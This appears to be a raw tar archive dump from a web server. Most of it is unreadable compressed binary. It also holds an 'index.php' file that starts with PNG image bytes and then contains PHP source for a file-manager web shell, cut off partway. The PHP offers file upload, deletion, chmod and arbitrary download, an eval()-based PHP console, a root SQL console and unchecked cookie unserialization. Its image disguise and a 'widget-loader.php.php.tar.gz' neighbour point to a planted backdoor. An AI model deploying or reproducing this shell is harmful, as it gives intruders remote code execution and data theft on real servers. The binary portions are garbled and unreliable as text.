W19ȇJ=T#VEkj\ZGq MriD90B7T|\n퀎NF9c(7W63yfU!mVbipl2d?fJv-eָTGGv&2DYx?g쟦EܬJ#kRd\E),чGZ2=jB;[AQvz#25Vɔ[uQwe!BdhV\oy?<&,_~{Lyڪ﫫Qx|{Зܩ+ԡN<T/#[Z(زh#cPBIqurspyȳa;ɘ`!+!L=uk
lݠr~%
JHb3;P|AQYj8Ѯj+CB$#T5iҍy&z-'Ot5íI4YYNYj1'm
i2  SW'Oq%nVٙOS*	:o65\ӳ)4U8^=Զr0?(H67CnJ<<+=LDRiX,;)]El4 |xbǭ NXhZJCO/olX<O9ϲ}uMq>z>=uซkKǖ3_';΀igUk1Ymxj	 !mۃX_g+Rܟe޵Rݣod:XsrC
4IJN`}P*KK፟}DxFF-Z&TUoUZoÄ?F6v&BD5;Vv1b9vuH)6iNy\BJ<U%S3YdCʃ?Ӥ<xv5;Ӡ ȑeLT.!C%H1Y|ŕR1ʁgN=xLPx֣II]ep&2GibFXYזZmVuЦǿ:I-Ăz{
L0""LNN
]KrMh&̜'3@1I W
Kǣ&o1x6_~	.FG|I~9̔:tͦe1ұ<+
q}^_/$RC0ÇmrpBͤ:nBwYQޫS'{Xv=NNާ8M1%IV
Ãee qqq_N2,JChJ>WjoS5t1L6%U!~ x#cAJ}Nn@w瞍| rH}o=$N;| ;i}7ucyi ȴ`Ae|}AOc5`^>p%|)6nG<Ƈ<W$4F;zeq(*^X[ϑ󏵖y{SB`+	,AfֳPO:֖DeAq(8=8DF@J(j<h<C+ nA%ïԹ	4">=k##x!`F5Gu,kأިW%cX2bFMLIXHMV;6kL1,)ZZ~Y
GĠ]}KДy&>)PnD0=wȭg:U#~Gkxo;lCEg/sst^s+*ipVsVX)8\9͕ArPzi\jYuJBeusk\GR)-6tP*Z8p8ȴ8+
>ŨCCk-m..#F{fp:RR0_($NHWCѹ
mk6<bt
t*
8
Nm07P$Pڻv2MoPH X8Yq&;h@
\Z+⡆䂵^(RС<ZV lD$'nIpɐ+
g",h{@㳴;/T!o߫(!Z?*<J
9AG"vn"19+vM~5VL[@kie2)wF}4u{~+c[eU)Z!<|A>(ن񞯕/ZV$B<K|˶zg#n:'NL#gJ}plzI(ewǞ#J4&^LsOK=-YOl}_r;"z9˖DԳn/Z')k^
1tQdY=w~Z@ Dnذ~Y6[iAOvz.^1!m!`K>
&`0f+cy ؞y0d|>t*r`(/NOZ	zʱll^4@ƎHNt.Ѥwwm,僳@X)l ʲVj]+x=Y(|xwOZ?(ţi3~Xo=m46D| `xG^<6+]p-W8W=M?BV&NiV9}2ɴ*y6RFS1-1TMwf+f´=9*~1Z@X4V%	yW)$ZPigI7܎f02	|ZU*hǓyӠd#YR3_?hbvaU|jl4%P ,~bvc\YN%k/a"ݓ`%CҖzqypִzVì.lc XQ{2]VI>Om.bz:b	kTn:u&0հ7.[CDhPN
t96D8
̰%d9n\҇BZN9a+Ry8p伎Td/{:3|͑N=U[;SaxĲ3NUZ!g*Zb\LUGx9N΋3!*Ν!DKL=lj/8.`..o.L|VdwZ-OှXC{S鑏fZ9Opj繋PeUW:]t=1V٢Xj|M4|[tbOm2LYäQ[4mɤԼOim>i$͚_Ӂ.ܕB~ԈrSd;1.vIuNWV;gJTuҾP	+Jd1:s1Or}+SsxM(/JC9Q$LG29˕ryCI#o=?2]W*7񅧒wkH;(Wi78>Xq5}8i[~48o;u_~3棬=<Fe>glGjg	(+gjv{:OݝYL&ukr ֦+>fF<`^ejwzm3:عY9/T6FX˩ظ)z95X]pa'^f"yˮMÎgYSV|ruyٖJCY,cgi[vص=ZR:ɜJ$鳞5j9GyrrNHEP(DYf
.=0(sn4ڞ~,9qSgveݞ	mb"}̻"^Ϫ@R%G9oa6ͻF7믌=.(HO,L'$;q,f=p!k6:&}$q13v&sV0HΚbcv	q\~Y[>-Hh{2nkX|g1۝3d1nr
|Dg<feT%SVܐog:<sڵuzMJ3?5h_&'$(ܰƗ<b+;iۼ%2UZqWg(ǜ&Ex]M8j<73=bg:eb=-Eyp8Cg*caFMgUg|2(墂w"ChVGhZ0EkOb-꩗-u܍LV]gGFlU:{?Zx@{V"w=8<2.a4ӉUaزI_gs:
r6_rNlH֘/kKqb/j羹V%(ӎZڔά+G#S8l!`'^ǕyW![:kgS6p3{:r;yͦ'Sm\:.
tL>=tI '@*Ryި]ͰgbF{8]s,v=k&b/T}g6rٚꍜM43لM̜Rk_~5ldxm-KhAi7bq\I}äl]q3ٚCE3*csqs^9/HX5zaWY:VW3v'LxZv%љ+qXRN˚)rl֕<6g\؝@ۼMʸ9͌jiBӶ:hSe<Kf1uCh~xfhO4}iص#OgnɆuJW:¶@yCpVu],Lhb8mDz|Y&T1"{?/b)GŔ5![$3fEgOѬde?uY-#x*P|;}!jzڧgaÍy[o}<v8!4kKn7aքZm	BZ
Y<[	烋f,ӮGBG*'Rѩ,~kѹYldƓ31Tہt+\ɂŌ)g3c$qY.PKsӫ}a֋ts`y>,a&IɡuRœE5Z㳎G|"va*](bZeQϣJE9iLY)!QV2y[.eJtqt;Cgѯ;@fVe>r>zsq=??=ٌEz8LۙX+#k(Q&:/4.EFj99~nF3`3R<Mr8jWKRw5zc﹢֚;TY.MD-v\?VCZȻk!ﮅZȻk!ﮅZȻk!ﮅZȻk!bsAW^qRb.8'N]F*۹nosY6`#x62FJ%R4LlvS$*\N,,׵M>
>u3l<<;}CzgMfpbJ{z^9,W\ey<%xbZSeP'ʡ@:e'DYq=N86iyq)Na,v=LR@-rydkRt
%kg8(dO/Ӯ"cͤBemI@jy<NnF>~]R%&P6§)fIိ*)]s$.>vlQl>tұSlƂæб4X,~ϟOM;=*1ڑRἜKiÍD"&LimNLϞyĤg;TqskTu=>O/Q	V@j4c_?*U{pyuxgeA
Mk۪[XmV~R*!a6e;,1rϒ{G$cS.mZCwx5/-yMs୍(c\
:863S8n,޷ь̸]uϨZy8c(9_NY<Ppԅ3Ttr3B͙^ھ N{*VĹw 7/P EЏdqdlN;gt8שtgR&0v5:;X=m4mִO˧դYc>:6[a.fEdkm;jVf(?~a.0=evgwӂ5unYF9>])觅,5jܠ=@zHE{d'̟lDb|<~6NzU;-?T&c8+nq8~6)1;4mVUp(@oQD_b$r4
;OV%vv,;RSJ Y-=y;zvvx6JE-TƇgބ'lMӵ^<n_55sL#1TJF^x&xuQ/g.|謚CZ`&T-*yOeq#R"l6'VS) Ps@5If&yUU@"C&H6]曝>uzowVx`ˤB08v{\(T.vVIw0HI8{!~ͫu<H/amTt*
PxΧ+bG
q"P-uxLJBmuJX5cE5?z.:6	;zG:gWgRu"sEǝK@bNwJ<7	P,*WSc(ʙ|Ǌ}4Xp8Pn>}0;e%`׻GrdQ|1LIa	=d}S	iߘUImqY{/9{*~7Ca@f]G CWWt@^[ϓX2쫺OtQWprV+mr*rKqGO{ظwznZwoI#(rJW:\OF7Iȱ0Uq&o1~t;	iAA'_<=Bl:d, Y gBJɺa R) V7eM=%ڧ90p|\AMS$zUuyQPD5|,Jr
΢&x[-訟z}QbKغ4P::XRtѮFRi1	>:piE3~zj4,5fE:Ę`a9V>uubǐ8<f-ipM{B	z|z7OKnD׈{iKsZI|Hʈyd4biSn:˧ySBi\EniSr<6jWц|ZAcrx)_=|tSm7#ʓPF'	nP\@\quXK:+i5~"@B7+jHcrZ2=m&(78E]XBե|hZ<gla&`Z&yƄZa=}K75DנXV\MzFLjԤ'KN)3!^?uQL4(]	+v zARc6U%ɋRZlݫjQ 6^gYV{hJH肳޾Mk5$KQ-LY&&yxi+ʨ!Poc4[\	ZL˽k%*R	5ZN%]"KVFge꯻[@wjQvFƥj4dFľ'L4F*	d&HKPVr9Qd6B7 'Ǡ{ї616kNP堬l`wrjVbdhÑ-vUgzHQ兽cBh&nfDUmKXZd(X'UIXh?Oh?'J5ɲwRtm>3贺|ls#<:7 EhAƐҫS'Þ[R{x~2 )#jcx)Rg
-B{>S1V͈4*RCbh1DI(ށxs=Nt.L>0S 
}1#Hz("|>Aa11n=ow]@eZ|LѤ.Q#!4qdza|usuJ#SAV`Zə*8<iJ|ds6k蕄&R޿vY8hT6W.iQnVVTUQKkI{|uϪgN9^e
cL#٢V$M^
LMu[GcN*rMW)tջJ[i&wElHY*i] pZߨ+=;VP,,Q-j͏鈚<5eaŵ(t_kȚ##UTێV
tt9PJ7Bm~|fGzZz=k!t'uXeֿi($ٰV RJPH?#p 
+]0<)_I((0ӻG&vF#lGUτ&xɵ|yʄ#5>D	]6uG{k{	7e+}>UG<\Fk]h͙n&pK8m_K8j6dj_	%ǴDƠt}"ݺ$ѭ]wNW]W^u%SK)bZ xAhznD5FO~
0]ܗT3yNU+@1yۥhkhC!+M?U}nUtcӤyqHG-rYSU:;KMt}Pjb=^J(ʓjmњᳩJW9;X;"?AIh0rĻ!"E (þmz^ؾrVʠM;xũ,<{^sRFTae4QyNl%}A{׵I~Dq	*c	҈Pu@V=c^ծؗWtH  쭼b-y~2Y$7c+Sȵk~WF Un9pnx82(>њk
f0H [eB?hPt9L% #վ,^(747YY?ٴ=nޱ[B@`Dqa{7V\Uj*˷,{۠ͯdnlTYiuA/~@VGաʬ̆__/_E]Td4~I	"kzfNU22^5V1#\c´>76FBJغ@ʯ*Teh ΉV](>իK0йuMUP1qi5ҍ69;'P@ץ"g2#h{ll4t
k&zrRFfp6Z7\AjsWjkmh]n0#$z<C__cZpə;.KVe76#l_Bw@7Q.%cq3FM̌g24nS,-M_1yʻiw;Ob+~vͿ賺w_WsL 'dlmr%[RM|N|)ږۿA_$Ѧ0uKba%H	F@Oqx[PZ*FhWGOi3=rCz|-H)-%
fsDQX 4P|"x{"-Ȯëw
*'MAa0Cur)$qr:YY4yۊP
L)PZps|VaoOT\;)Wu!<
5; 9!yIhVZ4EIӣ
zNI`kwn~<RW>Po<_=xqoǆv-2tEְdxq~^߲EF".ˑK8*"e>)BCܿO!N(AFmΆOn.#b&_| H0Ar84	x6(:?lb)r!U=W"6ToݻS!}4z-wAnH߾KyJj6Ux_7pUSH&BmmMyES"d0cjT:S$z֨WۧGPyyc۬l>ǋ2vP8NŪsưD%."@khavי5#9a؜4~ct5Dg!ߜGM`NV2hƆR {<xdVہ<z;>eD2vzWG#d#spƠS=5RS_eOfp@CW쎍ٍlS9ZydzÅn
BlPbYZmBF֯61@uBlL7VpC2lk\ν2w7CZm-ѕRTmMVJ6zDTJB!<0K"$V
R7%I7-к=Z,<'c==X[ <:x^z6&-wy.^[/1It5y	qvr0qw>(Fѻ0Q<wٷ).ƁuC^+nl>Th-ЩbMIYO6VL>+KW-&nnwW7Ǧ4cZe؟ox56n:~=6\S/8J)cS2e6js#('~I2h'`(ۇ+8*˻活U6ȃҜ^QG6F/5r]ˋ/꨸А9k|3 #ap i
Xa	 ~\tR2~LwL&NkGmCᩎ:n'bA~gDLJ}^Q$$?aY wtK.k"߃R:?ELRNfܥH#J~D)W|#9ZG`hWH(JsY8dhq7rteIs׼Z$i7+cBXU{G=rsiX5VDi+LB3^V52nz}[@IR';쫬d҇PA;* Ty3C!+"Hr#hQYkL!Mb2\
\wX686 WnqPB1hsagrDԨⰌ&-^3)k5rrx=޾	!#ҚMeZZ(̻X9@19fhgLoS+s^`=?61 o-4enmMHXsg@EJxC3踀+qgCrSj~ǿQ1/!Wyui}KH9w11*,>#̦VSd2:YzܧA>]"Q k
=$>!QmTMaC'Z~AFD1k?e.ƨaD._P;OBi>fxd"nZz
w S*T"Tn`做nX`d1Z\ X`xhQ#JJh!KZ&ޮ.}DC):,ڧjIGYx1\ÑrsFY&)
#޶.j,kjKj< /;cw\q]56
E+*Wgsq9Gkhh D<BI"p!Z?Ln>1{~>*X@hA<1gYFDH[ؑH#8Q8M] =W^ʅjTjWb3!4Oyz-Ĭx6O]vМy	잙'Q3h\U1rdƞ>~0k߻1l|L1	6i3ցNē)Ž!SC
O痫TcD8ܒ&QA!ϯIa,.OrG↔@gd̺:Xdb`lkKJX!>?:Zuz7S(`(*49SDb\	:o5dmQ8ʝuz+nkq4Ykܪ&+:4(}*ϒt;6.j;w ;ӥ>+f)*ۑxɠ$*ώGhAB8"9EP$й|!
j[]m$JQI>9PGʅhRU $C]z`@Qϗ"jIhLG ~]W7Dr7r>Nv߄$+hۍ['ۑ̛ÓDKyk[1TZG>݀{323 ,G(ǟ
m`UVs
 B\u\&@	s]Vo1ajwj1RlY 9J|3P;:h(PNŃ:߿V| ,C:ĥ@&8đՏ$-/>b̱<Ik-u CAPե]@̝MFWֱ,M'JZ뜽IL&鹦?)&{g@=o's=C@WK"4Fȥ׹ 6e еx.hVchѽ-zG*9Mmt%𖜀}nATU
Jܹ) Q`WHK392)KrP;eUEF1l.L&wk$p1&?Z5'nN"秚+<nIOM7hǣ*Ifp}7˿wjf0Q}wuܧ<97 ^Uha&+`4,\JRJ:T ցݔNb[`5Ȃ\veӁq R%ond$56d3i=LcEɺ[S֔gwY<r #-N4M-Ӂ*6&4Wi^ަ+mv"bp]a"pWEaDpr]'_o+|u͢+YJyXՏrwuXcZ[X/DXSv~JƧvi\@_Bֻ0c6AT$:=t:\=M}PnX	[?8m'&OD^Uch-{](
/u&aT_~`P/0έ;J˨G܊j Mŵ"f0GW3H\'QQCe~( !<'AneO6Wtcw)TΧ䢽A'
c9&:
d-?cLg`7%	q"lj0dWː<0L.{vCJ5p8̕c@V&XHgk@Un?'rVBA	t/׽׍Wy64֮տ(ICXh	RFCdS]ke0l"781!>j+e]Ks1l`hDMa\8qlBsi2`oOq7d+zWQ{ճjO(QuaYɫB3i԰+LGMP깦;n)|PX>`*9z @|6l.M^aGC_I\ͯddC)_ZZ%&\2Ikr|ZE;ഥx]kǘG/R>eIqi:FlIՂ%Y}A 9E"$6PS)d\I<>Uor i$Q:jOvt}XR=j}U[eGd$>\#R= Z7RXūSJ󂆜8Ut+	uYӮZg$UB(X_>BepʨcMog)\-9#.ԕUdYBDZ5VG$ۤ'6Ud8Tj7Twz(Pݼn=<"Pߔp|`=aFY3@iՅjC4LÈS~QUY{*xNNG,ռZ3
[L渲82/ѭV``6{EPM.%'4;WWt=&Uq>ulk{֖-r`m*j=6ڴ5csSze1QqU2^Գ	0R71t*7&^SڈmSB{aCYkt)S[ŪVQKjjѮnt"ĉ-t׈Ԧŏk%^Ycװ~iGBmʢu+ӗP!wչbحLaO^_*PXKTW9\U_m2ݣP 4moj:=ca0()QTUoרmޮf&ňWWק{ڊj1k2+L".#r2+`)>鬬蘔aXՊ⨯|ۯh|zD,{{+dǻS4ZFQD&YP!oa+̶>@F"#\xj	hNfnHR(O	dC֪[NF#Rْk0>x/DSR(L]
3]8PW?=؞n	덄(Mf)ǻ2	AS1\z6I|Л[A9dQ̘5MH@V2ʒyM^j5"V؜Y?V2{ʌ%Gk-+iE:'ǿg!1I!(Cz<ƒvcXQ.rڞjF4{	uxяF&++أ!*-hI$-@`9ky!"_qh5hMdA.QaIz>Zؔ^1FQ!Wh|QՃEꋢH CrGȤ1*'#xԸRrRR:JTmζ@â{׏t#xcވlƄs2eű P+@}#IBס7ygsQuELeDj^1PamB? m Vo\AkB Ш~md*YYu3YU^A |7ovqDikUwџ#l 2FEh3x`CMu[
o+ͻI؀΃pEW#hk7N}s# mgU%_Mժ:*7׏7SnY:tuy=@OjMW9QOjw{o"k\kyqD^+Ux|М $xuBo_\.Lk[CtkA'fhZxc4uS]|0i(y=32)Xͧ0t4퐄1l57m0S~7Ru׀Z.;*98H6 @4K*)^ ~Wɏan)6;2I|mĩ,SﰷQ}u=Z翥|CwW;Xg jh4gsO,|߽ϻ?Z: @                                                                                                                                                                                                                                                                                                                                                                                                                                                       widget-loader.php.php.tar.gz                                                                        0000644                 00000001122 15243251040 0011766 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             Tn@3_0&CRYjK]䦍oq"UE#<sfbz~gM%jEyR)TT])t<gU!hjʫ6	_F+bG|?@ދ~8f731gu-jR3<;66)UAI%0ϐX&ywyI@dx6a 0߸a]%]1o	\BD}}5da]4.6P4yh;^0sLVpj$gnJu#(BM[fW	,8y,vJU D)IDʬ@9r_(^H(++1ǣ84N&)kh+H;fOJ,2/62xa	Y;djٷfEU~2v:k=^WٺUٺ+-C\@M4]AxWTd4pf쐰%JtyG}cߦrlg'R!( 
                                                                                                                                                                                                                                                                                                                                                                                                                                                index.php                                                                                           0000644                 00000234415 15243251040 0006371 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ‰PNG

   
IHDR  6   £   7¾Âß  PLTEÿÿÿL‹õïïïåååLŒõOŽõÜÜÜRõI‰ôÙÙÙçççáááJ‰ñÞÞÞDU¶Oò6€ö©Çüb|‰ÕÕ×e÷÷÷ÒÒÖÛåð^w‡„«ôÍÍÓ^•óöôïEnÓBP°ÇÈÐDV´>…õpŠ•ÂÃÎüùîÊ×ñÃÇÉš¨°±óPo{~¦óZw…\tˆ>P³m öc˜ó°Æòäéï»Íñ«³¸2F³Yf¸ó÷ýŸ¾øÕáûéðýÚåûØÙá¢°Ôwœæ°ºÕÀÑñ‡¦å’©ßº¾ÏŸ¯Ú—¶óPt¢PƒÔ^r|t‡pƒ”}š„¢äMi“¡©—¤ª¬±½Mr¢ÕÏÉ¡¦Æ™Ñ’˜Â}„¿oy»½ÁÞhuÂ¨«Å–š¿þ­)€  (IDATxœíÝ
[ÚÈ p"&bEA gÓDQ«-½¸­v÷”êzzv{¶ÝïÿAÎÜ’L’É¥ä™$ÿgût­í®ù=ï;—db
…<yòäÉ“'Ož”äêæú¸õÄ^%ýÕ'•³‰ZÚZ(NÀqÒ_~2y=V+‘	!ì\%}Iäõd+Z-Œ
d±K¯b©…±md±K·ct(J) ¤K“¾†Õçªó,5Â¦f¯KÏŸWlÄ-ƒ]ÚŠ5²…³e°KÇË`S2×¥“Xj!lØ
\'}«N<¶52¸e®K—Â¶fI_ÇŠo±Æ–É.Åª–É.][æºt	l¤K·“¾Õ&[„éÒIÒ²Ú,ƒ”Ûë¤¯d¥‰Á©FØÎ’¾’•&š-MU³7—.…
—ÌÔ­ñH¶è¥lÙêÒ(¶8j´KÇI_Ê*Á­f±mÁiÒ×²Â,‡téyÒ×²Â„³ÅP#l¤K I_Ë
Æ ªárÛ {I_ÌêÂKÍaËT—³-¢ÆºtÏëáû>Ü'd*Ö@¶xj6.7¥Ûm¿yóF¯V«E”u.Þ]Ÿ A¬%­;l1Ñl5ºQxËÜt,W-ÆI•OQ8![\4Žté»>q{2ú3’¸	Øâ£qjô€\·kšíç°Éâæe[ÀÌÏßš(
Ë,t(
$”bfp±-fæR#_Z»]/©E@¶õ¤Iâ¤ƒŠ$ÒK¨¡j¨äs[X¹ÉPn˜m+ÔÂÎñÙÍl6;<¿ƒcƒï	[£»Ú}*ÃèÁ¦Ô7k=ÃXÃ1ŒžÑ¼ƒP
RC]Ú&lúúÓÙdèÒP6ÞM{”ÌŽaœW`€šªTpµ5P´˜n‚i¡˜´IŒ„±ÁÁÔcÆà¶QÁ‰Ô¬.ÅnåXÅ–>6ÞˆÐ\³Ø~m°.­ë™dS*ÂR³àZb7¥Cæ4)`·mš26elFê
w©é¸EÂ¥‹Mõ¨8Ü‡³ 5Ô¥m›­®G/CÒÅV™òfkÍÃ³í³óÙÔZ‰ª‘.¥nx|+G¹yÕ¤f«€™SZÆôzB7	°48Ä¿nª¡¥Û{êFØp½e‡
l÷œJ»Öú¶¤*pÜ4BÕTøÁìb·s[¬G¥f›Øµf4éÚÖ™*àÍM-D
uiŸÜ>Šç–&6xh±áÂòN `ÉfwéGÊË-ElêØVkúÕ"ƒ»´Ëº±i¡nR³¹o9»ã	jª2qwiX½ùÔ¤bsËT¬­7PW£]ÚuØ´z©IÊŽ­b›Á§¨¡.íÚ]JªMÓ‚ÜRÄfO½±ú5Ö¥ÖŠ—°iÕÔ³{ƒPãY©‰"œUÙ\Ú°ÊM«÷ûýFch““MíXóÁ9ß£Ê`Úôg*º¢À[÷œ õO†ÃáÊAzÙ¬GcnBPÁÀÞ8ð»Õ3Á†A¬K96D¶‹’^6{FèMì¡
7žmM°ÏRÅZñºØv|l~5‰Ùî,¶ŠƒÈæ¿í†Ôh—:ûÆ¶“
¶’ÊMŸqÙ°šÆ¦ˆÍ;¶¥Ší˜¯6gv\„M®9!€M &/›Òr–mü¢"USÈa{åæ°íVÓÊfoä;àf3¸L	LMïúB¶~Ý›*¶R%€„ßï[Kb´¶©¡rkX›+´EÐ6]/Zÿyá–A^6Ød×Õ
¾©Xy
…j
sd<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
